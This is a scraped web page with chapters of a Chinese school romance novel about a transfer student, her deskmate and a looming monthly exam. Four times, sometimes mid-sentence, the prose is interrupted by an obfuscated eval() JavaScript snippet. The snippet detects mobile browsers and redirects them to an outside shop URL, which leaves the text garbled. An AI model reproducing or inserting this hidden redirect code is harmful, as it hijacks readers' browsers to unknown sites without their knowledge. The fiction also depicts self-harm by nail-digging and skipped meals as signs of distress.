然而,才说了一个字,傅弦音就察觉不对劲。 她的话筒音量,好像突然被调低了。 后台,陈燕也察觉到了异常。 她道:“把傅弦音那话筒音量调大点。” 负责话筒的同学操作了一番,道:“她那个好像是备用话筒,没连控制台。” “备用话筒?” 陈燕火冒三丈:“谁负责的这部分,拿了个没电的话筒上去?” 本来男生音量就偏大,傅弦音话筒音量又低,马上要到高潮收尾了,这个时候出岔子话筒都换不了。 台上,顾临钊看了眼傅弦音,忽然顺着动作,把话筒从话筒架上拔了下来。 傅弦音余光扫到,瞬间明白了她的意思。 她也拔下了话筒,并且在顾临钊念完他那一句后,两人对视一眼,同时抬手握拳—— 话筒就在握拳的同时交换。 后台的陈燕松了口气,压着火道:“行了,别忙活了。” 这个动作加的不算突兀,换话筒虽然不是很自然,但已经是最好处理办法了。 傅弦音握着话筒的手有些晃。 随着节目的进行,她和顾临钊已经走到了阶梯的边缘,而她现在站的位置刚好是灯光直直打向她眼睛的位置。 猛烈的暖黄色侵占了她的视线,有一瞬间,她眼里除了光什么都看不见。 音乐结束,掌声响起,傅弦音下意识鞠躬,可灯光照得她本就身形不稳,鞠躬导致重心偏移,她整个人直直地就要往阶梯下栽—— 突然,一只手拉住了她。 少年温热的掌心贴着她冰凉的胳膊,在她站稳的瞬间就松开。 傅弦音松了口气,幕布缓缓拉上,灯光也渐渐暗了下来。 视线还是没有完全变清晰,傅弦音只能稳住身形让自己不至于栽下去。 她看着缓缓闭合的幕布,正熬着这最后艰难的几秒—— 冰冷的手心却被一道有力的温热包裹。 在幕布闭合前一秒,所有人都看见了缝隙中两只紧握的手。 15. 陪你 台下窃窃私语声不止。 “我靠,牵手了?我没看错吧。” “牵了牵了,真牵了。这转校生有点东西,刚来几天就把顾临钊拿下了。” “转校生?我就说,从前没听说过我们学校有这么好看一女的。” “怪不得刚才找她们班同学要她微信没给,原来早就名花有主了。” 在繁重的学业下,异性间轻微的肢体接触都会引来大家极大的兴趣。 更别说主角还是顾临钊这种“风云人物”。 长得好,学习好,严格遵守校风校纪,丝毫不会有一点出格举动的人,在众目睽睽下,牵了女孩的手。 程昭昭还在后台负责些收尾工作,顾临钊则去换刚才演讲时用的话筒。傅弦音自己提着裙子,在十五班的位置中找到林安旭。 她猫着腰,在林安旭身边的位置坐下。 才刚落座,前面就有个女生回头,声音有些古怪地对她道:“高姐让你等会放学去趟她办公室。” 傅弦音记得她名字,是叫纪逐渺,和宋瑶歌关系貌似不错。上周三体测她和宋瑶歌起矛盾还帮宋瑶歌说了话。 她应道:“哦,好。” 一旁的林安旭身子侧过来,压低声音道:“姐,你刚才和钊哥怎么了?你俩……” 他憋了半天,憋出来一句:“玩这么大?” 傅弦音:“啊?” 见她没反应过来,林安旭伸出两只手,“啪——”地一声合道了一起,而后低声道:“所有人都看见了,高姐找你肯定也是为这事。” 傅弦音解释:“我站的那个位置不知道怎么回事,灯光调的有点太亮了,晃眼。最后鞠躬的时候我差点栽下去,眼睛到熄灯落幕都是花的,所以顾临钊拽了我一把,不然我要成为文艺汇演第一个扑街的人了。” “怪不得。”林安旭心中有种我就说吧的感觉。 林安旭是不相信傅弦音和顾临钊之间有点什么的,以他跟顾临钊的关系,林安旭不认为顾临钊会瞒着他。 相比于其他人或是看热闹或是震惊于两人关系不寻常,林安旭只觉得其中必有内情。 后面的节目不剩几个,傅弦音没再写题,索性看着节目当放松了。 临澜一中校风校纪都宽松,讲究的是一个素质教育加放养式,许多谈恋爱的,只要不影响学期成绩,老师也都睁一只眼闭一只眼。因此傅弦音没觉得刚才舞台上那个小插曲是什么严重的事。 然而事实证明她错了。 文艺汇演结束,所有人离开礼堂时,傅弦音感觉到自己几乎是被目送着,一举一动都在众目睽睽之下,探究的眼光,好奇的视线,还有略有些嘈杂的窃窃私语密不透风地把她包裹起来。 傅弦音:……要命了。 在临澜一中,哪怕是吴嘉程造她很难听的黄谣时她都没有过这个待遇。 她强装淡定,挽着程昭昭的手却逐渐收紧用力。正当她迈出礼堂时,身后一道声音叫住了她:“傅弦音。” 是顾临钊。 他仿佛没事人似的。 傅弦音转头,硬着头皮道:“干什么?” 顾临钊扬了扬手中的纸:“你生物卷子在稿件夹里。” 傅弦音几乎是咬牙切齿了:“你帮我拿着不就行了。” 顾临钊理由充分:“拿着的,怕你找不到等会着急,跟你说声。” 你行,你有理。 傅弦音没再理他,拉着程昭昭快步回了教室。 教室内也有不少探究的目光落在她身上,只是顾及着同班同学的缘故,没那么直白。 傅弦音快速收拾了东西,走到前排跟程昭昭道:“你等会帮我从顾临钊那边拿下生物卷子,高姐找我,我先过去了。” 程昭昭也有些严肃:“好,你快去吧,我等会去高姐办公室找你。” 站在办公室门口,傅弦音深吸一口气,而后,她轻轻扣响了办公室的门。 高姐的声音听起来没什么情绪:“进。” 傅弦音推门进去,说道:“老师好,您找我?” 高姐手中捏着红笔,正划着卷子,听见傅弦音的声音,她头也没抬,伸出左手指了指一旁的椅子:“来了,坐。” 傅弦音坐下。 高姐抬头。 她没有任何的铺垫,开门见山道:“说说,和顾临钊什么情况。” 傅弦音:“没有情况。我站着的位置灯光被调得有点亮,等到节目结束的时候我已经看不清东西了,鞠躬的时候重心不稳,差点从舞台上栽下去。之后灯光暗下来我还是有点站不稳,要不是顾临钊拉我一把我就从舞台上栽下去了。” 她有点担心这个理由不能说服高姐。 更担心高姐会觉得她早恋,然后告诉陈慧梅。 傅弦音呼吸有些急促,她紧张地咬住了下唇,没想到高姐完全信了:“好,我相信你。我知道你是个有数的孩子,知道什么该做,什么不该做。” 高姐推了推眼镜,道:“我找你不光是为了这件事,你妈妈晚上给我打电话了。她说你最近学习松懈了,心思不在学习上,已经高三了,让我盯着你。” 傅弦音咬紧牙关,交叠在身前的双手指甲狠狠掐入手背。用力到手臂都在颤抖。 陈慧梅说她学习松懈了,说她心思不在学习上了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060445|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她怎么能这样? 明明是她把她所有的笔记全撕了,明明是她三天两头精神不稳定朝她发疯,怎么到回头来,一切都成了她的错。 一晚上的情绪在此刻被陈慧梅一句话推到顶峰,傅弦音整个人微微发颤。她用力咬着牙,手指使劲往肉里掐。 白嫩的皮肤被掐破,傅弦音却丝毫感受不到疼痛。她四肢发麻,呼吸都有些困难。 她一句话都说不出,就这么低着头,沉默着。 高颖看着眼前的女孩,轻轻叹了口气。 傅弦音学习什么样,转来十五班的这几天她这个做班主任的心里有数。 家家有本难念的经。 高颖没多说什么,只是抬起手放在傅弦音肩膀上轻轻拍了拍,道:“老师知道你学习很刻苦,你来这里之前是不是没住过校?突然住校,和家里人联系少了,他们不知道你的状态也正常。老师也和你妈妈说了,让她不要太担心,弦音是个有数的孩子。” 高颖的声音不算温柔,常年当班主任,威严仿佛已经是她刻在骨子里的东西。 可她就只是这样稍稍放慢了语速,字字句句落在傅弦音心里,敲得她眼底泛了点点酸意。 傅弦音压下喉咙的哽咽,努力平静道:“谢谢老师。” “行了。”高颖叹了口气,道:“多和你妈妈沟通沟通,也没别的事了,回去吧。” 傅弦音背着书包离开了办公室。 走廊的灯已经熄了,楼梯口还亮着几盏灯,灯光下,一个高挑的身影站在那。 不是程昭昭,而是另一个熟悉的人。 傅弦音皱眉走过去。 顾临钊听见声音抬头,然而还没来得及说话,就听傅弦音道:“你怎么在这,程昭昭呢?” 她刻意压着翻涌的情绪,语气也显得有些生硬。 顾临钊拿起手里的试卷在她眼下晃了晃,道:“程昭昭家里人给她送东西了,在校门口保安室那边,她怕自己一时半会赶不回来,就把东西给我,让我找你。” 他边说着,目光扫过了傅弦音的手背。 少女皮肤白嫩纤细,指甲掐出的红痕在手背上愈发明显。一道一道的小月牙,有的甚至还破了皮,有隐隐的红色往外渗。 傅弦音接过试卷,道:“你不用多跑一趟,直接把试卷放我桌洞就行。” 顾临钊慢悠悠道:“这不是怕你……” 傅弦音抢先一步,语气有些呛:“怕我找不到,会着急?” “不是。”顾临钊垂眸看她,语气有些隐隐的笑意,眼神却认真的很: “怕你自己一个人回宿舍,太孤单。” 16. 依赖 傅弦音沉默地下着楼梯,身后的男生跟着她的步子,瘦高的影子在她身侧逐渐拉长。 漆黑的教学楼无比寂寥,只有傅弦音小皮鞋哒哒哒下楼梯的声音。 她沉默着,一句话没说,脑子里却全都是顾临钊那句:“怕你孤单。” 微凉的穿堂风从教学楼大门灌进,傅弦音被风吹得一个激灵。 她突然发现,好像自己每一次情绪低落,顾临钊都在。 甚至两人第一次见面,就是傅弦音自己在校门口抽烟。 傅弦音把冰凉的手指贴在脖颈处,刺激着自己的大脑冷静下来,不被情绪掌控。 一只手递了件校服外套过来,顾临钊温和的声音响起:“要穿吗?” 傅弦音想都没想就拒绝:“不用了。” 她不习惯。 顾临钊没再执着,而是问:“想喝杨枝甘露吗?” 傅弦音被他逗笑。 他是觉得杨枝甘露是什么灵丹妙药吗,每次心情不好都拿杨枝甘露给她。 顾临钊像是猜到了她的心思,转头看着她,揶揄道:“毕竟这个点了,去食堂买奶茶不扣分,但是在校门口抽烟扣大分。” 傅弦音:…… 他在骂她,绝对的! 她搓搓手臂,没注意男生站在了她斜前方,挡住了风口的位置。 傅弦音开口:“这个点了,还开门吗?” “不知道。”顾临钊坦诚:“我没这么晚去过。” 傅弦音白他:“那你还拉我去。” 顾临钊看她的样子直好笑。 小猫情绪低落时耳朵都耷拉了,现在哄好了,倒是开始不分青红皂白拿刺扎他。 他也不生气,只觉得好玩。 于是他耸耸肩,道:“那你想去哪?” 皎洁的月光从他身后打来,照亮了他发梢的碎发。顾临钊背着光,单肩背着书包,靠在门口。 表演时的西装还没来得及换下,他只解开了西装外套的扣子,衬衫领口的扣子也解开了几颗,露出了精致的锁骨。 他就这样看着她。认真又随意地把自己这一晚上都交给她支配。 在清冷月光中,傅弦音才发现他右耳耳垂有一颗不明显的小痣。 她盯着那颗小痣看了很久,道:“回宿舍吧。” 顾临钊似是有些意外,但也没拒绝,扬扬下巴,是个“走吧”的意思。 十点半的校园已经空荡不少,有稀稀拉拉的学生在操场跑步,还有几个在路灯下背书。 顾临钊一直保持着站在她左边的位置,傅弦音小口小口地喘气。 在高颖办公室时她呼吸就开始急促,胸口闷地像是塞了块石头。可办公室和教学楼太安静,她不敢大声喘气,此刻来了室外,杂音变大,她才敢稍微放大一点自己的喘息幅度。 路灯明亮,傅弦音没说话,兀自努力将呼吸拉回正常状态。突然,身边的人停住了步子。 顾临钊皱着眉看她:“你不舒服吗?” 刚才在楼里灯光昏暗看不清,此刻在路灯下,顾临钊发现她脸色白得像纸,指尖一点血色都没有。只有唇上还带了点红,多半还是画上去的口红。 傅弦音深吸一口气,道:“可能是有点低血糖吧,我等会回寝室吃点东西就好了。” 顾临钊不动声色转移了话题:“我还话筒的时候,陈老师说,你的话筒是备用话筒,没连住控制台。” “还有,”他顿了顿,道:“我跟陈老师说你站得位置灯光亮得不对劲,陈老师看了一遍汇演记录,发现灯光亮度确实不对。” 傅弦音没有惊讶,平静道:“有人要整我。” 舞台灯光都是提前预设好的,演出时后台秩序也比较混乱,有人去趁乱偷偷调灯光也不一定做不到。 她脑海中闪过宋瑶歌在幕布前有些仓促的身影。 顾临钊点点头:“嗯,我告诉陈老师要问一下你的意见。要查监控吗?” “不用。”傅弦音摇摇头:“我没从舞台上摔下来,陈老师也没骂我搞砸了节目,我没从这件事受到什么实质性的损失。” “而且,”傅弦音语气淡然:“我今天晚上出了很大的风头,月考之前,我不想再出任何风头了。” 顾临钊没说好,也没说不好,他只说:“那你如果反悔了,告诉我,我去和陈老师说。” 他居然希望她抓出来到底谁想整她? 傅弦音给顾临钊又默默加了一笔:她同桌,不光善良,正义感还爆棚。 * “音音,早。” 程昭昭咬着包子,手里捧了杯豆浆,一屁股坐在顾临钊的位子上,看着正在总结笔记的傅弦音,说:“我本来还想每天跟你一起来的,结果你来好早啊,我真的起不来。” 傅弦音用红笔圈出重点,说:“快月考了,早上6点我就睡不着了。” 程昭昭:“那你早上吃什么,你不会每天早上就吃面包吧。” 她掰着指头数: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060446|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你早上吃面包,中午有时候说刷题也吃面包,晚上有时候还不吃了。你这样哪行啊?” “没有。”傅弦音笑笑:“我真没顿顿吃面包。” 她早饭大多数时候都不吃的。 傅弦音这个毛病很早就有了,她喜欢吃好吃的,在吃上面也有口味偏爱。但是很矛盾的是,她不喜欢吃饭。最开始也饿,饿得实在受不了就吃点面包之类的塞塞肚子,到现在,傅弦音感觉自己对于饥饿的感受已经很迟钝了。 程昭昭:“我才不信,这样吧,以后早上我要是去食堂买包子豆浆什么的,我就给你也带一份。” 正好顾临钊和林安旭从后门进来,程昭昭丝毫没给傅弦音拒绝的机会,叼着包子就跑: “就这么说定了啊。” 林安旭不知道程昭昭说的什么,顾临钊倒是心知肚明。 他看了眼傅弦音:“又没吃早饭?” “吃了。” 傅弦音从桌洞拿出来没吃完的半个豆沙面包,冲顾临钊晃了晃。 这个豆沙面包放林安旭那里,也就是个课间的小零嘴,而放他同桌这,半个就是早餐。 真是猫,吃猫食。 傅弦音不知道顾临钊腹诽什么。 她昨晚回寝室后,花了很久去整理自己的情绪。 被行注目礼那事,当时觉得难受,后面回寝室自己消化消化其实也不是大事。 让傅弦音觉得不对劲的,是她对顾临钊的态度。 她知道自己是个绝对的利己主义,傅东远和陈慧梅身上的自私被她遗传了十成十,她很少会感到愧疚,也自认为自己道德底线很低。 所以她会觉得顾临钊善良,觉得顾临钊正义感强,她对这东西很敏感,因为她自己身上压根没有。 如果是她,同桌难过了关她屁事,同桌有题不会关她屁事,甚至同桌就算真的想不开在雨夜跳河,傅弦音能做的可能就是抬手帮忙打个110。 她感情淡薄,心很封闭,助人为乐赠人玫瑰这种事,傅弦音觉得她这辈子都干不出来。 她一直觉得顾临钊对自己来说就是个好用的家教,她问他题的时候从来没有占用对方时间的愧疚感。 可昨天,在顾临钊问她想去哪里的时候,她本能地想让顾临钊陪她在学校里转转。 这不对劲,这非常不对劲。 她很不想承认,可是却不得不承认—— 她对顾临钊,生出了一种名为“习惯”和“依赖”的感情。 17. 没好处 这周北川一中是小休,周末两天都要在学校上自习,但周六晚上的晚自习可以选择不上,然后回家。 这对别人来说或许是个选择,但对傅弦音来说压根不是。在她这但凡有别的选项,她就不可能回家。 自习的两天过的很快,等再到周一,距离月考就只有4天了。 傅弦音是被噩梦吓醒的。 她做梦梦见自己被五花大绑,有个身形壮硕到一拳能打十个她的刽子手站在她边上,举着把堪比青龙偃月刀的大刀横在她脖颈上来回磨来磨去的比划。 冰冷的触感从她脖颈一直传到骨髓,傅弦音感觉自己整个脊梁骨都是麻的。 刀尖上的血顺着她的脸颊落下,滴在地上,凝成了个“4”。 醒了就再也睡不着了。 傅弦音站在阳台上背了会单词,又听了会英语听力,接着就收拾书包去教室上自习。 看了约莫二十多分钟,一袋带着热气的包子放在了傅弦音桌上。 程铃铃咬着包子,把手里提着的另一杯豆浆放在傅弦音桌上,说道:“当当~昭昭派送,为您服务。” 她清了清嗓子,故作严肃道:“今天配送的木耳肉小笼包和红枣豆浆。” 小笼包的热气飘到傅弦音手上,凝了薄薄一层水珠。 傅弦音拿出手机,给程昭昭发了个红包,程昭昭嘿嘿笑道:“那我就不客气——我靠!音音,你怎么发这么大的,包子加豆浆一共才几块钱。” 程昭昭看着微信界面上的明晃晃的200,嘴巴都合不拢。 傅弦音笑道:“人工贵,昭昭派送超贴心,我超喜欢。” “可是……可是……” 傅弦音眨眨眼:“没什么可是的,你拿着嘛,以后我说不定还要让你帮我捎饭呢。” 程昭昭又笑嘻嘻:“好!昭昭派送,竭诚为您服务!” 早上很快就过去了,不知是不是程昭昭带的热早餐的缘故,傅弦音感觉自己脑子都变得更好用了些。 大课间,林安旭嚷嚷着要去买东西填肚子,拉着顾临钊去了食堂,程昭昭课间学不进去习,索性坐在顾临钊的座位上,和傅弦音有一搭没一搭地说话。 傅弦音还在和化学作斗争。 还有4天月考,这一个星期的状态恢复的不错,除了化学,其他科目傅弦音都能保证自己的做题速度和质量。 只有化学。 她到现在还会在一些记不清知识点的基础题上面扣分,后面稍微有点难度的做起来更困难。 傅弦音看着习题册上面的字,拼命在脑海里搜刮知识,然而脑子里的知识像是在和她玩捉迷藏,她寻寻觅觅,大脑却冷冷清清,得到的只有凄凄惨惨戚戚。 她丢开笔,仰天长叹:“好——难——啊——” 程昭昭在边上嚼小饼干,闻言道:“这什么,化学吗?哎,等会顾临钊回来了你问他呗,他化学贼好。” 傅弦音心说我知道他化学贼好,她化学能一个多星期从零到现在的程度,有一半是顾临钊笔记还有给她讲题的功劳。 只是。 傅弦音摇摇头,道:“我不能什么都指望顾临钊,依赖他对我没好处。” 门口,陪林安旭买完吃的的顾临钊听见这句话,步子微微顿了一下。 林安旭嘴里塞满了面包,心思恨不得飘到北海道去,完全不知道这短短几秒发生了什么。他上前在程昭昭耳朵边啪地打了个响指,而后笑着跑到前面躲避程昭昭揍他的拳头。 顾临钊拉开椅子坐下。 傅弦音没分心思他,继续和那道题做斗争,然而直到上课铃打响都没有思路。 她叹了口气,收起化学,拿出下节课的课本。 这节课是生物。 原本生物是傅弦音最头疼的课,现在有了化学作对比,傅弦音觉得连生物课都变得有意思起来了。 几乎所有的老师都只给月考留了两天的复习时间,今天的课照例还是按照一轮复习的进度走。 45分钟的课对傅弦音来说过的很快,下课之后,她就继续看那道钻研不出的化学题。 顾临钊看着那道化学题,心里在纠结。 如果放在平时,一道题这么久研究不出来,如果顾临钊发现了,他会主动问傅弦音要不要讲,然后给她提点思路。 而现在,傅弦音那句“依赖他没好处”仿佛被做成了360度立体环绕音,在他脑子响个不停。 傅弦音在跟题犟,而他在跟傅弦音犟。 顾临钊觉得自己无比莫名其妙,因为他甚至都不知道自己在跟傅弦音犟些什么。 半晌,他还是碰了碰傅弦音的胳膊,率先低头:“要我给你讲吗?” 然而。 少女的回绝声干脆利落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060447|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用,我自己看看。” 顾临钊收回手。 他现在知道自己在和傅弦音犟什么了。 一整天,两人都没怎么说话。 顾临钊是在跟傅弦音犟,而傅弦音…… 如果傅弦音知道顾临钊听到的那句话造成了这个美丽的误会,那她会说,这不是误会。 顾临钊会错的那个意其实和傅弦音心里另外一层意是一样的。 不止是化学题,是各个方面的,傅弦音觉得依赖顾临钊对她没好处。 她不能对一个和她才认识一个多星期的人这么依赖。 或者说,她不能对人有依赖这种情绪。 不过此刻,傅弦音没怎么和顾临钊说话的原因不是这个。 而是她是真的在学习。 古希腊掌管月考的刽子手已经在磨刀了,傅弦音甚至能听见金属和磨刀石的摩擦声,锃亮的刀面反射出的光照在她脸上,照得她睁不开眼。 下午大课间,程铃铃趴在桌上补觉,林安旭又拽顾临钊去买吃的。 顾临钊无语:“你上午不知道多买点?” 林安旭嘿嘿一笑:“我一学习就饿,你知道的。” 两人说话之际,傅弦音伸了个懒腰,余光飘到宋瑶歌在饮水机那里接水。 宋瑶歌边接水边往她这块瞄,傅弦音转头看她,她就立刻收回视线。 这小心翼翼的样子,莫名让傅弦音想起了上周文艺汇演。 她突然起了坏心思。 不查监控是她不想把这件事闹大,不代表她报复心不重。 于是在顾临钊准备走得时候,傅弦音突然伸手扯了一下他衣角。 顾临钊没什么情绪的声音传来:“干什么?” 傅弦音歪歪脑袋:“班长善良有爱心,能不能帮我去食堂带一杯杨枝甘露回来呢?” 顾临钊嗤笑一声,手撑在桌子上,垂眸看他,问:“找我帮忙啊。” 傅弦音:“嗯嗯。” 她从兜里掏出自己饭卡,递过去:“诺,我饭卡,谢谢班长。” 下一秒,她就见顾临钊挑了挑眉梢,似笑非笑道:“不是说依赖我没好处吗?” 傅弦音:“……” 她刚想说那不用了,就听顾临钊懒散开口: “算了,没好处的话,就给你创造点好处好了。” 18. 是她弟弟 月考这天。 傅弦音昨晚失眠,吃了两颗褪黑素才勉强浅眠到5点。 起床的时候,心脏跳得很剧烈。 傅弦音没太在意,她昨晚多少睡了一会,不影响考试状态就行。 月考是一天之内把六门课都考完,早上考语文物理,下午考英语、生物和化学,数学则放在了晚自习。 傅弦音在宿舍复习了一会文言文,出门前给程昭昭发了消息,两人约好在宿舍楼下见面,一起去食堂。 等程昭昭的时候,傅弦音一直在看写作素材。 “音音!” 程昭昭一路小跑下楼,挽住傅弦音的手臂,道:“你今天怎么想去食堂吃早饭啦?” 傅弦音收起kindle,和边上跟程昭昭一起的女生打了个招呼,而后道:“月考了,我太紧张了,感觉提前去教室也看不进去什么,不如去吃顿饭放松放松。” 陈念可小声道:“哇,学霸去食堂吃饭都是放松,我去食堂吃饭是趁着早让阿姨给我卷饼里多加两块里脊。” 傅弦音被她逗笑,而后好奇道:“我还没吃过卷饼呢,好吃吗?” “超好吃,你吃不吃辣?你如果吃辣一定要加辣。” “加一份里脊一份煎蛋一份豆干,我有的时候吃不饱还要再买个卤蛋,再喝碗粥,超绝!” 傅弦音按照陈念可的安利买了早餐,她紫米粥没喝完,拿着去教室喝了。 进教室时,顾临钊已经到了。 顾临钊正复习着语文,听见动静,余光瞟了一眼傅弦音手里拿着的紫米粥,吐出两个字: “稀奇。” 傅弦音轻轻哼了一声。 月考不在本班教室考,而是按照暑假前最后一次考试成绩分班,傅弦音刚刚转来,没有之前成绩,按惯例被分到了最后一个考场。 傅弦音倒是还挺开心的,之前在临澜一中,她缺考后也被分到最后一个考场过。最后一个考场大多都是些不在乎文化课成绩的学生,没有奋笔疾书的氛围,反而没什么压力。 然而到了考场,傅弦音才再一次感受到临澜和北川的差距。 在北川一中,哪怕是最后一个考场,也并不都是完全不学习的学生。 傅弦音原本放下的心再次提起。 考试的时间过得很快。 上午考的语文并不算难,填空全都是傅弦音复习到的知识点,最后的作文也不是很刁钻的题目。早上背的一些素材刚好可以套进去。 物理倒是有些难,但对傅弦音来说也还好,她做完卷子还余了十分钟检查。 考完试,傅弦音背着书包回教室。 座位边,林安旭和程昭昭此起彼伏的哀嚎。 程昭昭:“越国以鄙远,我居然写的是越国离得远。” 林安旭:“我就在赌,赌它不考烛之武退秦师。” 程昭昭:“我也,所以我没看。” 林安旭:“别说了昭昭,咱俩找个没人的地方自行了断吧。” 顾临钊轻笑一声,评价道:“赌狗。” 傅弦音:…… 不知道为什么,她怎么好像也被骂到了? 中午午休,傅弦音没回寝室,而是留在教室继续看化学。 出乎意料,顾临钊也没回。 他看傅弦音回来,扬扬眉梢,拿出化学笔记,问道:“来了?要帮你串一下化学知识点吗?” 傅弦音在“不能太依赖顾临钊”和“下午就考化学”中纠结了两秒,果断选择了后者。 太依赖顾临钊好像不会死,但是化学如果考不好被陈慧梅知道,她宁愿去死。 月考的缘故,午休间的教室有不少人。 顾临钊声音很低,用红笔在傅弦音自己的笔记上圈圈点点。 午后的阳光从窗外照进来,落在傅弦音脸上不烈,只有淡淡的亮黄。 顾临钊轻缓的声音在她耳边盘旋,时不时还提问她两句。 “困了吗?” 顾临钊画完一句重点,忽然转脸问道:“你昨晚睡了几个小时?” 傅弦音:“2点到5点,睡了三个小时。” 她眨眨眼,后知后觉有点疲倦,小声嘀咕:“早知道不吃午饭了,果然,吃完饭就犯困。” 顾临钊头疼地捏捏眉心:“又不吃饭,你这健康意识,对得起下午要考的生物吗?” 傅弦音叹了口气:“我对得起它,它对得起我吗?” 她是真的有点疲倦,眼皮子打架,傅弦音正犹豫是去洗把脸还是去借点冰水喝,就听顾临钊说: “睡10分钟吧,到点我叫你。” 傅弦音权衡了一下,而后点点头:“就10分钟。” 是真的累了。 傅弦音趴桌上的一瞬间就睡着了。 顾临钊的视线正大光明地落在她脸上。 她很瘦,白嫩的脸颊没什么肉,此刻趴在胳膊上才挤出了一小团婴儿肥。 顾临钊静静地看着,忽然,傅弦音眼睫颤了颤。 顾临钊慌忙地移开视线,捏着红笔划重点,过了一会,却发现身边的人并没有什么动静,顾临钊小心翼翼地转过头去,才发现傅弦音其实并没有醒。 他忽然觉得自己像个小偷,不,好像连小偷也不如。 小偷还会光明正大地看自己想要的东西,他呢,傅弦音只是睫毛颤颤,他就慌得跟什么似的。 顾临钊在心底问自己,在慌什么呢? 心没有告诉他答案。 顾临钊叹了口气,捏着红笔,把剩下的重点给傅弦音画完了,而后看了眼时间,轻轻用手背碰了碰女孩的手臂。 傅弦音睁开眼。 教室的光有些亮,她一时不适应,眯着眼打算缓一会,忽然,视线上方落下一片阴影。 顾临钊把手放在她眼睛上面虚虚地盖着,等傅弦音适应了教室的光线后,又挪开了。 他把笔记推过来,轻声道:“剩下的也给你画好了,如果有不确定的就问我。” 傅弦音打着哈欠伸了个懒腰,接过笔记,轻轻道谢:“谢谢班长。” “不用谢。” 拖顾临钊的福,化学考得比傅弦音想象中好。 客观来讲,这次化学的难度其实不算很高,特别是和早上的物理比起来。简单些的卷子,差距就不会拉的太大,对总分的影响也不会太大。 果然,回到教室,傅弦音看见程昭昭和林安旭脸上的笑容都比上午多了些。 程昭昭看见傅弦音来兴奋地招招手:“音音快来,怎么样?化学是不是不算太难!” 傅弦音:“比我想象中好多了!” “好耶!” 程昭昭知道她化学不好,也真心实意为她高兴着。 考完化学,傅弦音对月考的紧张基本已经消散。 剩下只有一门数学没考,而数学又算是傅弦音的优势科目,她不怎么担心。 考完数学,林安旭和程昭昭的脸又垮了下来。 傅弦音安慰道:“好啦,考都考完了,就别管了。从现在开始就是放假时间,放假了还不高兴,不觉得很亏吗?” 程昭昭眼睛一亮:“有道理哦。” 林安旭咧嘴一笑:“放假了耶!” 他兴冲冲问傅弦音:“姐,明天我们约了场篮球赛,姐你感兴趣不?或者打完球咱一块去吃个饭也成。” 傅弦音抱歉地笑笑:“明天不行哎,明天我和人提前约好了,没有时间。” 林安旭丝毫没有被拒绝的失落,呲着大牙笑:“没事,反正……” 他话音刚落,一道声音响了起来:“班长,你们明天在哪里打球呀,我可以去看吗?” 宋瑶歌背着书包,站在后门处,抬眼看着顾临钊。 她咬着下唇,脸上满是紧张。 林安旭他们约球赛的事情宋瑶歌很早就听说了,只是没邀请她,她不好意思去。 是纪逐渺知道了,从刚才考完试一直说服她让她主动询问,她这才鼓足勇气开口。 顾临钊没什么情绪地道:“人民公园边上的球场。” 宋瑶歌吐出一口气:“谢谢班长,我、我明天去给你送水!” 她说完,生怕等到顾临钊的拒绝,拉着纪逐渺就跑了。 傅弦音全程没理宋瑶歌,等他走了,用胳膊肘捅了捅林安旭,问道:“你刚才要说什么来着?” 林安旭:“啊?哦,我说反正国庆放4天假,咱要不拉个群,看看那天有时间出来玩。” “行啊。”傅弦音爽快答应,而后背上书包,冲三人挥挥手:“我今晚还住校,先回去补觉了,放假见。” * 心中的一块大石落下,傅弦音的睡眠也好了起来。 她从晚上9点半一觉睡到早上11点,睁眼才发现她和傅叶阳约的10点半见面。 她头疼地揉了揉眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060448|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,给傅叶阳发了个微信: [抱歉,我起晚了。] 傅叶阳从上周就说要见一面,傅弦音上周回临澜就拒绝了,这周国庆放假,她不好拒绝,于是就答应了。 傅叶阳秒回: [没事弦音姐,放假嘛,多睡会正常。] [那我们直接去吃饭吧!] 傅弦音: [OK,地址发我。] 快十月的天了,日头还是很烈,傅弦音犹豫了一下,还是穿了凉快的背心短裙,又在外面加了一件蓝色衬衫。 收拾好后,傅弦音直接打车去了傅叶阳给的地址。 